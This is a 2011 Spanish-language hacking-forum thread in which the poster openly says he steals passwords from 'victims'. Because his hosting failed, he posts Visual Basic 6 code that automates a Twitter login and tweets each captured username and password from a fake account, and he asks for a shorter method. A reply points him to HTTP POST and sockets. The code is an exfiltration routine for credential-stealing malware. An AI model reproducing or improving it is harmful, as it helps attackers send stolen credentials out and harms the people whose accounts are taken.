Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: yalosabes en 12 Marzo 2011, 01:00 am



Título: twittear desde Vb6
Publicado por: yalosabes en 12 Marzo 2011, 01:00 am
Bueno debido a problemas de mi hosting ( http://www.teensmagazine.net  (http://www.teensmagazine.net)) .. ya no tenia donde enviar claves datos, de mis victimas amigos.

Asi que lo mas practico que se ocurrio fue twittear, los datos obtrenido desde mi cuenta twitter (obiamente una cuenta nueva y falsa).

Mi pregunta es :

¿Existe alguna forma mas sencilla, de twittear desde Vb6? quizas en menos lineas..

Codigo:
Código
  1. Private Sub twittear()
  2. If wb2.LocationURL = "https://mobile.twitter.com/session/new" Then
  3. Me.wb2.Document.All("username").Value = "AquiCorreo"
  4. Me.wb2.Document.All("password").Value = "AquiContraseña"
  5. Dim HTML
  6. Dim HTMLI
  7. Set HTML = wb2.Document
  8. For Each HTMLI In HTML.getElementsByTagName("input")
  9.     If HTMLI.Type = "submit" Then
  10.       HTMLI.Click
  11.       Exit Sub
  12.     End If
  13.   Next
  14. End If
  15.  
  16. If wb2.LocationURL = "http://mobile.twitter.com/" Then
  17. 'p2.Visible = True
  18. Me.wb2.Document.All("tweet_text").Value = id.Text & contraseña.Text  
  19. Set HTML = wb2.Document
  20. For Each HTMLI In HTML.getElementsByTagName("input")
  21.     If HTMLI.Value = "Tweet" Then
  22.       HTMLI.Click
  23.       Exit Sub
  24.     End If
  25.   Next
  26.   End If
  27. End Sub
  28.  

pd : No confien en AqpHost -.-!


Título: Re: twittear desde Vb6
Publicado por: seba123neo en 12 Marzo 2011, 01:48 am
busca sobre el metodo POST y sockets.